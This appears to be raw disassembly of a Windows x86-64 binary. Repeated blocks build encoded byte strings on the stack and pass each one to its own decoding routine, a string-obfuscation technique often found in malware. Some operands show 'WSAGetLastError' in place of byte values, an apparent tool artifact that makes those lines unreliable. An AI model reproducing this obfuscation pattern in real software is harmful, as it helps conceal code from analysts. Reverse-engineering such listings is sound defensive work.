call fcn.140048fc0
mov qword [rbp + 0xd30], rax
lea rcx, [rbp + 0x400]
mov byte [rbp + 0x400], 0
mov byte [rbp + 0x401], 0x63
mov byte [rbp + 0x402], 0x15
mov byte [rbp + 0x403], 0x16
mov byte [rbp + 0x404], 0x15
mov byte [rbp + 0x405], 0x16
mov byte [rbp + 0x406], 0x15
mov byte [rbp + 0x407], 0x36
mov byte [rbp + 0x408], 0x15
mov byte [rbp + 0x409], 0x15
mov byte [rbp + 0x40a], 0x15
movzx eax, byte [rbp + 0x401]
call fcn.140048f40
mov qword [rbp + 0xd38], rax
lea rcx, [rbp + 0x968]
mov byte [rbp + 0x968], 0
mov byte [rbp + 0x969], 0x61
mov byte [rbp + 0x96a], 2
mov byte [rbp + 0x96b], 0
mov byte [rbp + 0x96c], 2
mov byte [rbp + 0x96d], 0x29
mov byte [rbp + 0x96e], 2
mov byte [rbp + 0x96f], 0xb2
mov byte [rbp + 0x970], 2
mov byte [rbp + 0x971], WSAGetLastError
mov byte [rbp + 0x972], 2
mov byte [rbp + 0x973], 0x89
mov byte [rbp + 0x974], 2
mov byte [rbp + 0x975], 0x80
mov byte [rbp + 0x976], 2
mov byte [rbp + 0x977], 2
mov byte [rbp + 0x978], 2
movzx eax, byte [rbp + 0x969]
call fcn.140048eb0
mov qword [rbp + 0xd40], rax
lea rcx, [rbp + 0x410]
mov byte [rbp + 0x410], 0
mov byte [rbp + 0x411], 0xae
mov byte [rbp + 0x412], 0x5f
mov byte [rbp + 0x413], 0x16
mov byte [rbp + 0x414], 0x5f
mov byte [rbp + 0x415], 0xa7
mov byte [rbp + 0x416], 0x5f
mov byte [rbp + 0x417], 0x27
mov byte [rbp + 0x418], 0x5f
mov byte [rbp + 0x419], 0x5f
mov byte [rbp + 0x41a], 0x5f
movzx eax, byte [rbp + 0x411]
call fcn.140048e30
mov qword [rbp + 0xd48], rax
lea rcx, [rbp + 0x420]
mov byte [rbp + 0x420], 0
mov byte [rbp + 0x421], 0x3b
mov byte [rbp + 0x422], 0x5a
mov byte [rbp + 0x423], 0x7d
mov byte [rbp + 0x424], 0x5a
mov byte [rbp + 0x425], 0x8a
mov byte [rbp + 0x426], 0x5a
mov byte [rbp + 0x427], 0x48
mov byte [rbp + 0x428], 0x5a
mov byte [rbp + 0x429], 0x5a
mov byte [rbp + 0x42a], 0x5a
movzx eax, byte [rbp + 0x421]
call fcn.140048db0
mov qword [rbp + 0xd50], rax
mov byte [rbp + 0x430], 0
mov byte [rbp + 0x431], 0x7d
mov byte [rbp + 0x432], 0x1d
mov byte [rbp + 0x433], 0xcc
mov byte [rbp + 0x434], 0x1d
mov byte [rbp + 0x435], 0x12
mov byte [rbp + 0x436], 0x1d
lea rcx, [rbp + 0x430]
mov byte [rbp + 0x437], 0xcb
mov byte [rbp + 0x438], 0x1d
mov byte [rbp + 0x439], 0x1d
mov byte [rbp + 0x43a], 0x1d
movzx eax, byte [rbp + 0x431]
call fcn.140048d30
mov qword [rbp + 0xd58], rax
lea rcx, [rbp + 0x440]
mov byte [rbp + 0x440], 0
mov byte [rbp + 0x441], 0xd1
mov byte [rbp + 0x442], 0x50
mov byte [rbp + 0x443], 0x48
mov byte [rbp + 0x444], 0x50
mov byte [rbp + 0x445], 0x1a
mov byte [rbp + 0x446], 0x50
mov byte [rbp + 0x447], 0xf6
mov byte [rbp + 0x448], 0x50
mov byte [rbp + 0x449], 0x50
mov byte [rbp + 0x44a], 0x50
movzx eax, byte [rbp + 0x441]
call fcn.140048cb0
mov qword [rbp + 0xd60], rax
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], 0
mov byte [rsp + 0x41], 0xe5
mov byte [rsp + 0x42], 0x21
mov byte [rsp + 0x43], 0x57
mov byte [rsp + 0x44], 0x21
mov byte [rsp + 0x45], 0x84
mov byte [rsp + 0x46], 0x21
mov byte [rsp + 0x47], 0x21
mov byte [rsp + 0x48], 0x21
movzx eax, byte [rsp + 0x41]
call fcn.140048c30
mov qword [rbp + 0xd68], rax
lea rcx, [rbp + 0x450]
mov byte [rbp + 0x450], 0
mov byte [rbp + 0x451], WSAGetLastError
mov byte [rbp + 0x452], 0x38
mov byte [rbp + 0x453], 0x4c
mov byte [rbp + 0x454], 0x38
mov byte [rbp + 0x455], 9
mov byte [rbp + 0x456], 0x38
mov byte [rbp + 0x457], 0xca
mov byte [rbp + 0x458], 0x38
mov byte [rbp + 0x459], 0x38
mov byte [rbp + 0x45a], 0x38
movzx eax, byte [rbp + 0x451]
call fcn.140048ba0
mov qword [rbp + 0xd70], rax
lea rcx, [rbp + 0x810]
mov byte [rbp + 0x810], 0
mov byte [rbp + 0x811], 0xda
mov byte [rbp + 0x812], 0x41
mov byte [rbp + 0x813], 0x26
mov byte [rbp + 0x814], 0x41
mov byte [rbp + 0x815], 0xf8
mov byte [rbp + 0x816], 0x41
mov byte [rbp + 0x817], 0xdf
mov byte [rbp + 0x818], 0x41
mov byte [rbp + 0x819], 9
mov byte [rbp + 0x81a], 0x41
mov byte [rbp + 0x81b], 0x41
mov byte [rbp + 0x81c], 0x41
movzx eax, byte [rbp + 0x811]
call fcn.140048b20
mov qword [rbp + 0xd78], rax
mov byte [rbp + 0x460], 0
mov byte [rbp + 0x461], 5
mov byte [rbp + 0x462], 0x66
mov byte [rbp + 0x463], 1
mov byte [rbp + 0x464], 0x66
mov byte [rbp + 0x465], 0x10
mov byte [rbp + 0x466], 0x66
mov byte [rbp + 0x467], 0x7f
mov byte [rbp + 0x468], 0x66
mov byte [rbp + 0x469], 0x66
mov byte [rbp + 0x46a], 0x66
movzx eax, byte [rbp + 0x461]
lea rcx, [rbp + 0x460]
call fcn.140048aa0
mov qword [rbp + 0xd80], rax
lea rcx, [rbp + 0x470]
mov byte [rbp + 0x470], 0
mov byte [rbp + 0x471], 0xa1
mov byte [rbp + 0x472], 0x53
mov byte [rbp + 0x473], 0xad
mov byte [rbp + 0x474], 0x53
mov byte [rbp + 0x475], 0xc6
mov byte [rbp + 0x476], 0x53
mov byte [rbp + 0x477], 0x14
mov byte [rbp + 0x478], 0x53
mov byte [rbp + 0x479], 0x53
mov byte [rbp + 0x47a], 0x53
movzx eax, byte [rbp + 0x471]
call fcn.140048a20
mov qword [rbp + 0xd88], rax
lea rcx, [rbp + 0x480]
mov byte [rbp + 0x480], 0
mov byte [rbp + 0x481], 0x8e
mov byte [rbp + 0x482], 0x32
mov byte [rbp + 0x483], 0x15
mov byte [rbp + 0x484], 0x32
mov byte [rbp + 0x485], 0x19
mov byte [rbp + 0x486], 0x32
mov byte [rbp + 0x487], 0x29
mov byte [rbp + 0x488], 0x32
mov byte [rbp + 0x489], 0x32
mov byte [rbp + 0x48a], 0x32
movzx eax, byte [rbp + 0x481]
call fcn.140048990
mov qword [rbp + 0xd90], rax
lea rcx, [rbp + 0x490]
mov byte [rbp + 0x490], 0
mov byte [rbp + 0x491], 0xdf
mov byte [rbp + 0x492], 0x2d
mov byte [rbp + 0x493], 0x26
mov byte [rbp + 0x494], 0x2d
mov byte [rbp + 0x495], 0x7e
mov byte [rbp + 0x496], 0x2d
mov byte [rbp + 0x497], 0x33
mov byte [rbp + 0x498], 0x2d
mov byte [rbp + 0x499], 0x2d
mov byte [rbp + 0x49a], 0x2d
movzx eax, byte [rbp + 0x491]
call fcn.140048900
mov qword [rbp + 0xd98], rax
lea rcx, [rbp + 0x4a0]
mov byte [rbp + 0x4a0], 0
mov byte [rbp + 0x4a1], 0x4f
mov byte [rbp + 0x4a2], WSAGetLastError
mov byte [rbp + 0x4a3], 0xf8
mov byte [rbp + 0x4a4], WSAGetLastError
mov byte [rbp + 0x4a5], 0x44
mov byte [rbp + 0x4a6], WSAGetLastError
mov byte [rbp + 0x4a7], 0x10
mov byte [rbp + 0x4a8], WSAGetLastError
mov byte [rbp + 0x4a9], WSAGetLastError
mov byte [rbp + 0x4aa], WSAGetLastError
movzx eax, byte [rbp + 0x4a1]
call fcn.140048880
mov qword [rbp + 0xda0], rax
lea rcx, [rbp + 0x4b0]
mov byte [rbp + 0x4b0], 0
mov byte [rbp + 0x4b1], 0xd6
mov byte [rbp + 0x4b2], 0x23
mov byte [rbp + 0x4b3], 0xc6
mov byte [rbp + 0x4b4], 0x23
mov byte [rbp + 0x4b5], 0x2c
mov byte [rbp + 0x4b6], 0x23
mov byte [rbp + 0x4b7], 0x88
mov byte [rbp + 0x4b8], 0x23
mov byte [rbp + 0x4b9], 0x23
mov byte [rbp + 0x4ba], 0x23
movzx eax, byte [rbp + 0x4b1]
call fcn.140048800
mov qword [rbp + 0xda8], rax
mov byte [rbp + 0x4c0], 0
mov byte [rbp + 0x4c1], 0x5d
mov byte [rbp + 0x4c2], 0x72
mov byte [rbp + 0x4c3], 0xac
lea rcx, [rbp + 0x4c0]
mov byte [rbp + 0x4c4], 0x72
mov byte [rbp + 0x4c5], 0x94
mov byte [rbp + 0x4c6], 0x72
mov byte [rbp + 0x4c7], 0x8a
mov byte [rbp + 0x4c8], 0x72
mov byte [rbp + 0x4c9], 0x72
mov byte [rbp + 0x4ca], 0x72
movzx eax, byte [rbp + 0x4c1]
call fcn.140048770
mov qword [rbp + 0xdb0], rax
lea rcx, [rbp + 0x4d0]
mov byte [rbp + 0x4d0], 0
mov byte [rbp + 0x4d1], 0xcf
mov byte [rbp + 0x4d2], 0xb
mov byte [rbp + 0x4d3], 0x8b
mov byte [rbp + 0x4d4], 0xb
mov byte [rbp + 0x4d5], 0x56
mov byte [rbp + 0x4d6], 0xb
mov byte [rbp + 0x4d7], 0x41
mov byte [rbp + 0x4d8], 0xb
mov byte [rbp + 0x4d9], 0xb
mov byte [rbp + 0x4da], 0xb
movzx eax, byte [rbp + 0x4d1]
call fcn.1400486f0
mov qword [rbp + 0xdb8], rax
lea rcx, [rbp + 0x4e0]
mov byte [rbp + 0x4e0], 0
mov byte [rbp + 0x4e1], 0x5a
mov byte [rbp + 0x4e2], 0x14
mov byte [rbp + 0x4e3], 0xf5
mov byte [rbp + 0x4e4], 0x14
mov byte [rbp + 0x4e5], 0xc2
mov byte [rbp + 0x4e6], 0x14
mov byte [rbp + 0x4e7], 0x3c
mov byte [rbp + 0x4e8], 0x14
mov byte [rbp + 0x4e9], 0x14
mov byte [rbp + 0x4ea], 0x14
movzx eax, byte [rbp + 0x4e1]
call fcn.140048670
mov qword [rbp + 0xdc0], rax
lea rcx, [rbp + 0x4f0]
mov byte [rbp + 0x4f0], 0
mov byte [rbp + 0x4f1], 0x66
mov byte [rbp + 0x4f2], 0x39
mov byte [rbp + 0x4f3], 0x70
mov byte [rbp + 0x4f4], 0x39
mov byte [rbp + 0x4f5], 0x85
mov byte [rbp + 0x4f6], 0x39
mov byte [rbp + 0x4f7], 0xb4
mov byte [rbp + 0x4f8], 0x39
mov byte [rbp + 0x4f9], 0x39
mov byte [rbp + 0x4fa], 0x39
movzx eax, byte [rbp + 0x4f1]
call fcn.1400485f0
mov qword [rbp + 0xdc8], rax
lea rcx, [rbp + 0x500]
mov byte [rbp + 0x500], 0
mov byte [rbp + 0x501], 0xc0
mov byte [rbp + 0x502], 0x26
mov byte [rbp + 0x503], 0x1f
mov byte [rbp + 0x504], 0x26
mov byte [rbp + 0x505], 0xbc
mov byte [rbp + 0x506], 0x26
mov byte [rbp + 0x507], 0xfa
mov byte [rbp + 0x508], 0x26
mov byte [rbp + 0x509], 0x26
mov byte [rbp + 0x50a], 0x26
movzx eax, byte [rbp + 0x501]
call fcn.140048570
mov qword [rbp + 0xdd0], rax
mov byte [rbp + 0x510], 0
mov byte [rbp + 0x511], 0x4c
mov byte [rbp + 0x512], 5
mov byte [rbp + 0x513], 0x2b
mov byte [rbp + 0x514], 5
mov byte [rbp + 0x515], 0x32
mov byte [rbp + 0x516], 5
mov byte [rbp + 0x517], 0x63
mov byte [rbp + 0x518], 5
mov byte [rbp + 0x519], 5
lea rcx, [rbp + 0x510]
mov byte [rbp + 0x51a], 5
movzx eax, byte [rbp + 0x511]
call fcn.1400484e0
mov qword [rbp + 0xdd8], rax
lea rcx, [rbp + 0x520]
mov byte [rbp + 0x520], 0
mov byte [rbp + 0x521], 0x5f
mov byte [rbp + 0x522], 0
mov byte [rbp + 0x523], 0xd9
mov byte [rbp + 0x524], 0
mov byte [rbp + 0x525], 0x50
mov byte [rbp + 0x526], 0
mov byte [rbp + 0x527], 0x15
mov byte [rbp + 0x528], 0
mov byte [rbp + 0x529], 0
mov byte [rbp + 0x52a], 0
movzx eax, byte [rbp + 0x521]
call fcn.140048460
mov qword [rbp + 0xde0], rax
lea rcx, [rbp + 0x530]
mov byte [rbp + 0x530], 0
mov byte [rbp + 0x531], 0xf3
mov byte [rbp + 0x532], 0x41
mov byte [rbp + 0x533], 0x92
mov byte [rbp + 0x534], 0x41
mov byte [rbp + 0x535], 0x5f
mov byte [rbp + 0x536], 0x41
mov byte [rbp + 0x537], 0x2d
mov byte [rbp + 0x538], 0x41
mov byte [rbp + 0x539], 0x41
mov byte [rbp + 0x53a], 0x41
movzx eax, byte [rbp + 0x531]
call fcn.1400483d0
mov qword [rbp + 0xde8], rax
lea rcx, [rbp + 0x820]
mov byte [rbp + 0x820], 0
mov byte [rbp + 0x821], 0x91
mov byte [rbp + 0x822], 0x74
mov byte [rbp + 0x823], 0x2e
mov byte [rbp + 0x824], 0x74
mov byte [rbp + 0x825], 0x2a
mov byte [rbp + 0x826], 0x74
mov byte [rbp + 0x827], 0x50
mov byte [rbp + 0x828], 0x74
mov byte [rbp + 0x829], 0x3b
mov byte [rbp + 0x82a], 0x74
mov byte [rbp + 0x82b], 0x74
mov byte [rbp + 0x82c], 0x74
movzx eax, byte [rbp + 0x821]
call fcn.140048340
mov qword [rbp + 0xdf0], rax
lea rcx, [rbp + 0x540]
mov byte [rbp + 0x540], 0
mov byte [rbp + 0x541], 0xa5
mov byte [rbp + 0x542], 0x45
mov byte [rbp + 0x543], 0x2d
mov byte [rbp + 0x544], 0x45
mov byte [rbp + 0x545], 6
mov byte [rbp + 0x546], 0x45
mov byte [rbp + 0x547], 0x72
mov byte [rbp + 0x548], 0x45
mov byte [rbp + 0x549], 0x45
mov byte [rbp + 0x54a], 0x45
movzx eax, byte [rbp + 0x541]
call fcn.1400482c0
mov qword [rbp + 0xdf8], rax
mov byte [rbp + 0x830], 0
mov byte [rbp + 0x831], 0x47
mov byte [rbp + 0x832], 0x5c
mov byte [rbp + 0x833], 0xa0
mov byte [rbp + 0x834], 0x5c
mov byte [rbp + 0x835], 0x91
mov byte [rbp + 0x836], 0x5c
mov byte [rbp + 0x837], 0x5a
mov byte [rbp + 0x838], 0x5c
mov byte [rbp + 0x839], 0xbe
mov byte [rbp + 0x83a], 0x5c
mov byte [rbp + 0x83b], 0x5c
mov byte [rbp + 0x83c], 0x5c
movzx eax, byte [rbp + 0x831]
lea rcx, [rbp + 0x830]
call fcn.140048230
mov qword [rbp + 0xe00], rax
lea rcx, [rbp + 0x550]
mov byte [rbp + 0x550], 0
mov byte [rbp + 0x551], 0xdd
mov byte [rbp + 0x552], 0x65
mov byte [rbp + 0x553], 0x47
mov byte [rbp + 0x554], 0x65
mov byte [rbp + 0x555], 0xa4
mov byte [rbp + 0x556], 0x65
mov byte [rbp + 0x557], 0xdc
mov byte [rbp + 0x558], 0x65
mov byte [rbp + 0x559], 0x65
mov byte [rbp + 0x55a], 0x65
movzx eax, byte [rbp + 0x551]
call fcn.1400481a0
mov qword [rbp + 0xe08], rax
lea rcx, [rbp + 0x560]
mov byte [rbp + 0x560], 0
mov byte [rbp + 0x561], 0x42
mov byte [rbp + 0x562], 0xc
mov byte [rbp + 0x563], 0x7c
mov byte [rbp + 0x564], 0xc
mov byte [rbp + 0x565], 0x93
mov byte [rbp + 0x566], 0xc
mov byte [rbp + 0x567], 0x35
mov byte [rbp + 0x568], 0xc
mov byte [rbp + 0x569], 0xc
mov byte [rbp + 0x56a], 0xc
movzx eax, byte [rbp + 0x561]
call fcn.140048110
mov qword [rbp + 0xe10], rax
lea rcx, [rbp + 0x9e0]
mov byte [rbp + 0x9e0], 0
mov byte [rbp + 0x9e1], 0xa4
mov byte [rbp + 0x9e2], 0x77
mov byte [rbp + 0x9e3], WSAGetLastError
mov byte [rbp + 0x9e4], 0x77
mov byte [rbp + 0x9e5], 0xc
mov byte [rbp + 0x9e6], 0x77
mov byte [rbp + 0x9e7], WSAGetLastError
mov byte [rbp + 0x9e8], 0x77
mov byte [rbp + 0x9e9], 0xd3
mov byte [rbp + 0x9ea], 0x77
mov byte [rbp + 0x9eb], 0x49
mov byte [rbp + 0x9ec], 0x77
mov byte [rbp + 0x9ed], 0xc3
mov byte [rbp + 0x9ee], 0x77
mov byte [rbp + 0x9ef], 0xc
mov byte [rbp + 0x9f0], 0x77
mov byte [rbp + 0x9f1], 0xa7
mov byte [rbp + 0x9f2], 0x77
mov byte [rbp + 0x9f3], 0x77
mov byte [rbp + 0x9f4], 0x77
movzx eax, byte [rbp + 0x9e1]
call fcn.140048090
mov qword [rbp + 0xe18], rax
lea rcx, [rbp + 0x570]
mov byte [rbp + 0x570], 0
mov byte [rbp + 0x571], 0x1e
mov byte [rbp + 0x572], 0x56
mov byte [rbp + 0x573], 0xc5
mov byte [rbp + 0x574], 0x56
mov byte [rbp + 0x575], 0x36
mov byte [rbp + 0x576], 0x56
mov byte [rbp + 0x577], 0xbf
mov byte [rbp + 0x578], 0x56
mov byte [rbp + 0x579], 0x56
mov byte [rbp + 0x57a], 0x56
movzx eax, byte [rbp + 0x571]
call fcn.140048010
mov qword [rbp + 0xe20], rax
mov byte [rbp + 0x580], 0
mov byte [rbp + 0x581], 0x9f
mov byte [rbp + 0x582], 0x51
mov byte [rbp + 0x583], 0x19
mov byte [rbp + 0x584], 0x51
mov byte [rbp + 0x585], WSAGetLastError
mov byte [rbp + 0x586], 0x51
mov byte [rbp + 0x587], 0xdb
lea rcx, [rbp + 0x580]
mov byte [rbp + 0x588], 0x51
mov byte [rbp + 0x589], 0x51
mov byte [rbp + 0x58a], 0x51
movzx eax, byte [rbp + 0x581]
call fcn.140047f90
mov qword [rbp + 0xe28], rax
lea rcx, [rbp + 0x590]
mov byte [rbp + 0x590], 0
mov byte [rbp + 0x591], 0x73
mov byte [rbp + 0x592], 0x14
mov byte [rbp + 0x593], 0x84
mov byte [rbp + 0x594], 0x14
mov byte [rbp + 0x595], 0x29
mov byte [rbp + 0x596], 0x14
mov byte [rbp + 0x597], 0x92
mov byte [rbp + 0x598], 0x14
mov byte [rbp + 0x599], 0x14
mov byte [rbp + 0x59a], 0x14
movzx eax, byte [rbp + 0x591]
call fcn.140047f00
mov qword [rbp + 0xe30], rax
lea rcx, [rbp + 0x5a0]
mov byte [rbp + 0x5a0], 0
mov byte [rbp + 0x5a1], 0x96
mov byte [rbp + 0x5a2], 0x47
mov byte [rbp + 0x5a3], 0x8f
mov byte [rbp + 0x5a4], 0x47
mov byte [rbp + 0x5a5], 0xd2
mov byte [rbp + 0x5a6], 0x47
mov byte [rbp + 0x5a7], 0xb5
mov byte [rbp + 0x5a8], 0x47
mov byte [rbp + 0x5a9], 0x47
mov byte [rbp + 0x5aa], 0x47
movzx eax, byte [rbp + 0x5a1]
call fcn.140047e80
mov qword [rbp + 0xe38], rax
lea rcx, [rbp + 0x5b0]
mov byte [rbp + 0x5b0], 0
mov byte [rbp + 0x5b1], 0xf4
mov byte [rbp + 0x5b2], 0x18
mov byte [rbp + 0x5b3], 0x48
mov byte [rbp + 0x5b4], 0x18
mov byte [rbp + 0x5b5], 0x21
mov byte [rbp + 0x5b6], 0x18
mov byte [rbp + 0x5b7], 0xef
mov byte [rbp + 0x5b8], 0x18
mov byte [rbp + 0x5b9], 0x18
mov byte [rbp + 0x5ba], 0x18
movzx eax, byte [rbp + 0x5b1]
call fcn.140047e00
mov qword [rbp + 0xe40], rax
lea rcx, [rbp + 0x5c0]
mov byte [rbp + 0x5c0], 0
mov byte [rbp + 0x5c1], 0x8f
mov byte [rbp + 0x5c2], 0x2f
mov byte [rbp + 0x5c3], 0x24
mov byte [rbp + 0x5c4], 0x2f
mov byte [rbp + 0x5c5], 0x9d
mov byte [rbp + 0x5c6], 0x2f
mov byte [rbp + 0x5c7], 0x24
mov byte [rbp + 0x5c8], 0x2f
mov byte [rbp + 0x5c9], 0x2f
mov byte [rbp + 0x5ca], 0x2f
movzx eax, byte [rbp + 0x5c1]
call fcn.140047d80
mov qword [rbp + 0xe48], rax
lea rcx, [rbp + 0x5d0]
mov byte [rbp + 0x5d0], 0
mov byte [rbp + 0x5d1], 0xb9
mov byte [rbp + 0x5d2], 0x38
mov byte [rbp + 0x5d3], 2
mov byte [rbp + 0x5d4], 0x38
mov byte [rbp + 0x5d5], 0x82
mov byte [rbp + 0x5d6], 0x38
mov byte [rbp + 0x5d7], 0xab
mov byte [rbp + 0x5d8], 0x38
mov byte [rbp + 0x5d9], 0x38
mov byte [rbp + 0x5da], 0x38
movzx eax, byte [rbp + 0x5d1]
call fcn.140047d00
mov qword [rbp + 0xe50], rax
lea rcx, [rbp + 0x5e0]
mov byte [rbp + 0x5e0], 0
mov byte [rbp + 0x5e1], 0x26
mov byte [rbp + 0x5e2], 0x5d
mov byte [rbp + 0x5e3], 0x51
mov byte [rbp + 0x5e4], 0x5d
mov byte [rbp + 0x5e5], 7
mov byte [rbp + 0x5e6], 0x5d
mov byte [rbp + 0x5e7], 0x49
mov byte [rbp + 0x5e8], 0x5d
mov byte [rbp + 0x5e9], 0x5d
mov byte [rbp + 0x5ea], 0x5d
movzx eax, byte [rbp + 0x5e1]
call fcn.140047c80
mov qword [rbp + 0xe58], rax
lea rcx, [rbp + 0x980]
mov byte [rbp + 0x980], 0
mov byte [rbp + 0x981], 0x80
mov byte [rbp + 0x982], 0x4a
mov byte [rbp + 0x983], 0xd1
mov byte [rbp + 0x984], 0x4a
mov byte [rbp + 0x985], 0xa3
mov byte [rbp + 0x986], 0x4a
mov byte [rbp + 0x987], 0x30
mov byte [rbp + 0x988], 0x4a
mov byte [rbp + 0x989], 0xe6
mov byte [rbp + 0x98a], 0x4a
mov byte [rbp + 0x98b], 0xe8
mov byte [rbp + 0x98c], 0x4a
mov byte [rbp + 0x98d], 0x8a
mov byte [rbp + 0x98e], 0x4a
mov byte [rbp + 0x98f], 0x4a
mov byte [rbp + 0x990], 0x4a
movzx eax, byte [rbp + 0x981]
call fcn.1400084f0
mov qword [rbp + 0xe60], rax
lea rcx, [rbp + 0x9b0]
mov byte [rbp + 0x9b0], 0
mov byte [rbp + 0x9b1], 0xc2
mov byte [rbp + 0x9b2], 0x29
mov byte [rbp + 0x9b3], 0x2f
mov byte [rbp + 0x9b4], 0x29
mov byte [rbp + 0x9b5], 0x54
mov byte [rbp + 0x9b6], 0x29
mov byte [rbp + 0x9b7], 0x33
mov byte [rbp + 0x9b8], 0x29
mov byte [rbp + 0x9b9], 0xe8
mov byte [rbp + 0x9ba], 0x29
mov byte [rbp + 0x9bb], 0x9a
mov byte [rbp + 0x9bc], 0x29
mov byte [rbp + 0x9bd], 0x37
mov byte [rbp + 0x9be], 0x29
mov byte [rbp + 0x9bf], 0xe3
mov byte [rbp + 0x9c0], 0x29
mov byte [rbp + 0x9c1], 0x29
mov byte [rbp + 0x9c2], 0x29
movzx eax, byte [rbp + 0x9b1]
call fcn.140047c00
mov qword [rbp + 0xe68], rax
mov byte [rbp + 0x9f8], 0
mov byte [rbp + 0x9f9], 0xbe
mov byte [rbp + 0x9fa], 0x24
mov byte [rbp + 0x9fb], 0xaa
mov byte [rbp + 0x9fc], 0x24
mov byte [rbp + 0x9fd], 0x4c
mov byte [rbp + 0x9fe], 0x24
mov byte [rbp + 0x9ff], 0x5c
mov byte [rbp + 0xa00], 0x24
mov byte [rbp + 0xa01], 0xca
mov byte [rbp + 0xa02], 0x24
mov byte [rbp + 0xa03], 0xd9
mov byte [rbp + 0xa04], 0x24
mov byte [rbp + 0xa05], 0xe
mov byte [rbp + 0xa06], 0x24
mov byte [rbp + 0xa07], 0xda
mov byte [rbp + 0xa08], 0x24
mov byte [rbp + 0xa09], 0x7c
mov byte [rbp + 0xa0a], 0x24
mov byte [rbp + 0xa0b], 0x24
mov byte [rbp + 0xa0c], 0x24
lea rcx, [rbp + 0x9f8]
movzx eax, byte [rbp + 0x9f9]
call fcn.140047b80
mov qword [rbp + 0xe70], rax
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x51], 0xb3
mov byte [rsp + 0x52], 0x65
mov byte [rsp + 0x53], 0x86
mov byte [rsp + 0x54], 0x65
mov byte [rsp + 0x55], 0x36
mov byte [rsp + 0x56], 0x65
mov byte [rsp + 0x57], 0x65
mov byte [rsp + 0x58], 0x65
movzx eax, byte [rsp + 0x51]
call fcn.140047b00
mov qword [rbp + 0xe78], rax
lea rcx, [rbp + 0x840]
mov byte [rbp + 0x840], 0
mov byte [rbp + 0x841], 0x76
mov byte [rbp + 0x842], 0x1a
mov byte [rbp + 0x843], 7
mov byte [rbp + 0x844], 0x1a
mov byte [rbp + 0x845], 0xe4
mov byte [rbp + 0x846], 0x1a
mov byte [rbp + 0x847], 0xf4
mov byte [rbp + 0x848], 0x1a
mov byte [rbp + 0x849], 0xf
mov byte [rbp + 0x84a], 0x1a
mov byte [rbp + 0x84b], 0x1a
mov byte [rbp + 0x84c], 0x1a
movzx eax, byte [rbp + 0x841]
call fcn.140047a70
mov qword [rbp + 0xe80], rax
lea rcx, [rbp + 0x5f0]
mov byte [rbp + 0x5f0], 0
mov byte [rbp + 0x5f1], 0x20
mov byte [rbp + 0x5f2], WSAGetLastError
mov byte [rbp + 0x5f3], 0xa1
mov byte [rbp + 0x5f4], WSAGetLastError
mov byte [rbp + 0x5f5], 0x7b
mov byte [rbp + 0x5f6], WSAGetLastError
mov byte [rbp + 0x5f7], WSAGetLastError
mov byte [rbp + 0x5f8], WSAGetLastError
mov byte [rbp + 0x5f9], WSAGetLastError
mov byte [rbp + 0x5fa], WSAGetLastError
movzx eax, byte [rbp + 0x5f1]
call fcn.1400479e0
mov qword [rbp + 0xe88], rax
lea rcx, [rbp + 0x600]
mov byte [rbp + 0x600], 0
mov byte [rbp + 0x601], 0xde
mov byte [rbp + 0x602], 2
mov byte [rbp + 0x603], 0x99
mov byte [rbp + 0x604], 2
mov byte [rbp + 0x605], 0xf3
mov byte [rbp + 0x606], 2
mov byte [rbp + 0x607], 0x32
mov byte [rbp + 0x608], 2
mov byte [rbp + 0x609], 2
mov byte [rbp + 0x60a], 2
movzx eax, byte [rbp + 0x601]
call fcn.140047960
mov qword [rbp + 0xe90], rax
lea rcx, [rbp + 0x610]
mov byte [rbp + 0x610], 0
mov byte [rbp + 0x611], 0xbe
mov byte [rbp + 0x612], 0xb
mov byte [rbp + 0x613], 0x87
mov byte [rbp + 0x614], 0xb
mov byte [rbp + 0x615], 0x1d
mov byte [rbp + 0x616], 0xb
mov byte [rbp + 0x617], 0xee
mov byte [rbp + 0x618], 0xb
mov byte [rbp + 0x619], 0xb
mov byte [rbp + 0x61a], 0xb
movzx eax, byte [rbp + 0x611]
call fcn.1400478e0
mov qword [rbp + 0xe98], rax
mov byte [rbp + 0x620], 0
mov byte [rbp + 0x621], 0x1b
lea rcx, [rbp + 0x620]
mov byte [rbp + 0x622], 0x30
mov byte [rbp + 0x623], 0x7e
mov byte [rbp + 0x624], 0x30
mov byte [rbp + 0x625], 0x74
mov byte [rbp + 0x626], 0x30
mov byte [rbp + 0x627], 0x5b
mov byte [rbp + 0x628], 0x30
mov byte [rbp + 0x629], 0x30
mov byte [rbp + 0x62a], 0x30
movzx eax, byte [rbp + 0x621]
call fcn.140047850
mov qword [rbp + 0xea0], rax
lea rcx, [rbp + 0x630]
mov byte [rbp + 0x630], 0
mov byte [rbp + 0x631], 0xe1
mov byte [rbp + 0x632], 0x1d
mov byte [rbp + 0x633], 0x5b
mov byte [rbp + 0x634], 0x1d
mov byte [rbp + 0x635], 0xd7
mov byte [rbp + 0x636], 0x1d
mov byte [rbp + 0x637], 0x8d
mov byte [rbp + 0x638], 0x1d
mov byte [rbp + 0x639], 0x1d
mov byte [rbp + 0x63a], 0x1d
movzx eax, byte [rbp + 0x631]
call fcn.1400477d0
mov qword [rbp + 0xea8], rax
lea rcx, [rbp + 0x640]
mov byte [rbp + 0x640], 0
mov byte [rbp + 0x641], 0xc0
mov byte [rbp + 0x642], 0x7a
mov byte [rbp + 0x643], 0xb4
mov byte [rbp + 0x644], 0x7a
mov byte [rbp + 0x645], 0x2d
mov byte [rbp + 0x646], 0x7a
mov byte [rbp + 0x647], 0x4f
mov byte [rbp + 0x648], 0x7a
mov byte [rbp + 0x649], 0x7a
mov byte [rbp + 0x64a], 0x7a
movzx eax, byte [rbp + 0x641]
call fcn.140047750
mov qword [rbp + 0xeb0], rax
lea rcx, [rbp + 0x650]
mov byte [rbp + 0x650], 0
mov byte [rbp + 0x651], 0xa2
mov byte [rbp + 0x652], 0x75
mov byte [rbp + 0x653], 0xe2
mov byte [rbp + 0x654], 0x75
mov byte [rbp + 0x655], 0x68
mov byte [rbp + 0x656], 0x75
mov byte [rbp + 0x657], 0x2b
mov byte [rbp + 0x658], 0x75
mov byte [rbp + 0x659], 0x75
mov byte [rbp + 0x65a], 0x75
movzx eax, byte [rbp + 0x651]
call fcn.1400476d0
mov qword [rbp + 0xeb8], rax
lea rcx, [rbp + 0x660]
mov byte [rbp + 0x660], 0
mov byte [rbp + 0x661], 0xd2
mov byte [rbp + 0x662], 0x38
mov byte [rbp + 0x663], 0x50
mov byte [rbp + 0x664], 0x38
mov byte [rbp + 0x665], 0x64
mov byte [rbp + 0x666], 0x38
mov byte [rbp + 0x667], 0x93
